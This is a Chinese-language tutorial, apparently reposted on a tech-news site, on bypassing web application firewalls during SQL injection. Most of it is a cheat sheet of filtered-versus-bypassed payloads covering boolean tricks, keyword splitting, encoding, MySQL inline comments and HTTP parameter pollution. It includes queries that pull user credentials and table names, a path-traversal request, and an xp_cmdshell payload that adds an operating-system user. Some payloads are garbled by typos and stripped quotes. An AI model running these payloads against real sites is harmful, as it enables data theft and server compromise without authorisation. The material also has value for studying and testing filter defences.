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这篇文章主要介绍 SQL 注入绕过的知识点有哪些，文中介绍的非常详细，具有一定的参考价值，感兴趣的小伙伴们一定要看完！
一、 绕过 waf 思路
从第一步起，一点一点去分析，然后绕过。
1、过滤 and,or
preg_match(/(and|or)/i , $id)
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 1 = 12、过滤 and, or, union
preg_match(/(and|or|union)/i , $id)
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = admin3、过滤 and, or, union, where
preg_match(/(and|or|union|where)/i , $id)
Filtered injection: 1 || (select user from users where user_id = 1) = admin
Bypassed injection: 1 || (select user from users limit 1) = admin4、过滤 and, or, union, where, limit
preg_match(/(and|or|union|where|limit)/i , $id)
Filtered injection: 1 || (select user from users limit 1) = admin
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = admin5、过滤 and, or, union, where, limit, group by
preg_match(/(and|or|union|where|limit|group by)/i , $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = admin
Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 16、过滤 and, or, union, where, limit, group by, select
preg_match(/(and|or|union|where|limit|group by|select)/i , $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile result.txt
Bypassed injection: 1 || substr(user,1,1) = a7、过滤 and, or, union, where, limit, group by, select,‘
preg_match(/(and|or|union|where|limit|group by|select|\)/i , $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)8、过滤 and, or, union, where, limit, group by, select,‘, hex
preg_match(/(and|or|union|where|limit|group by|select|\ |hex)/i , $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))9、过滤 and, or, union, where, limit, group by, select,‘, hex, substr
preg_match(/(and|or|union|where|limit|group by|select|\ |hex|substr)/i , $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)10、过滤 and, or, union, where, limit, group by, select,‘, hex, substr, 空格
preg_match(/(and|or|union|where|limit|group by|select|\ |hex|substr|\s)/i , $id)
Filtered injection: 1 || lpad(user,7,1)
ypassed injection: 1%0b||%0blpad(user,7,1)二、正则绕过
根据正则的的模糊匹配特性绕过，比如过滤了 =
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1,1 or‘1 ,1 or char(97)
eg:
filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = users
Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between a and z
Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
Bypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273三、通用绕过
1. 注释符
?id=1+un//ion+se//lect+1,2,3–2. 大小写
?id=1+UnIoN//SeLecT//1,2,3–3. 关键字替换
有些 waf 等使用 preg_replace 替换了 SQL 关键字
?id=1+UNunionION+SEselectLECT+1,2,3--
?id=1+uni%0bon+se%0blect+1,2,3--有时候注释符 /**/‘可能被过滤，也可以使用 %0b 绕过
Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).html
Bypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html4. 编码
一个经典的脚本：Nukesentinel.php
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row[ activate] 0) { if (stristr($nsnst_const[ query_string], +union+ ) OR \
stristr($nsnst_const[ query_string], %20union%20 ) OR \
stristr($nsnst_const[ query_string], */union/* ) OR \
stristr($nsnst_const[ query_string], union ) OR \
stristr($nsnst_const[ query_string_base64], +union+ ) OR \
stristr($nsnst_const[ query_string_base64], %20union%20 ) OR \
stristr($nsnst_const[ query_string_base64], */union/* ) OR \
stristr($nsnst_const[ query_string_base64], union )) { // block_ip($blocker_row);
die(BLOCK IP 1 );
}
}Forbidden: http://localhost/php/?/**/union/**/select
Bypassed : http://localhost/php/?/%2A%2A/union/%2A%2A/select
Bypassed : http://localhost/php/?%2f**%2funion%2f**%2fselect5. 缓冲区溢出
http://localhost/news.php?id=1+and+(select 1)=(select 0xA*1000)+union+select+1,2,version(),database(),user(),6,7,8,9,10–6. 内联注释 (mysql)
http://localhost/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
http://localhost/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--四、高级绕过
1.HPP（http 参数污染 )
举个例子：
index.php?par1=val1 par1=val2
| web server | par1 |
| :— | :— |
| ASP.NET/IIS | val1,val2 |
| ASP/IIS | val1,val2 |
| PHP/Apache | val2 |
| JSP/Tomcat | val1 |eg:
在 ASP/ASP.NET 的环境下
Forbidden: http://localhost/search.aspx?q=select name,password from users
Bypassed : http://localhost/search.aspx?q=select name q=password from users
Bypassed : http://localhost/search.aspx?q=select/* q=*/name q=password/* q=*/from/* q=*/users
Bypassed : http://localhost/news.aspx?id=1 /* id=1*/ EXEC /* id=1*/ master..xp_cmdshell /* id=1*/ net user test test /* id=1*/ --2.HPC(http 参数污染)
RFC2396 定义了如下一些字符：
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ()
Reserved : ; / ? : @ = + $ ,
Unwise : { } | \ ^ [ ] `不同的 Web 服务器处理处理构造得特殊请求时有不同的逻辑：
| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP |
| :— | :— | :— |
| ?test[1=2 | test_1=2 | test[1=2 |
| ?test=% | test=% | test= |
| ?test%00=1 | test= | test=1 |
| ?test=1%001 | NULL | test=1 |
| ?test+d=1+2 | test_d=1 2 | test d=1 2 |eg:
Forbidden: http://localhost/?xp_cmdshell
Bypassed : http://localhost/?xp[cmdshell
Forbidden: http://localhost/test.asp?file=../flag.txt
Bypassed : http://localhost/test.asp?file=.%./flag.txt
Forbidden: http://localhost/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
Bypassed : http://localhost/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)以上是“SQL 注入绕过的知识点有哪些”这篇文章的所有内容，感谢各位的阅读！希望分享的内容对大家有帮助，更多相关知识，欢迎关注丸趣 TV 行业资讯频道！
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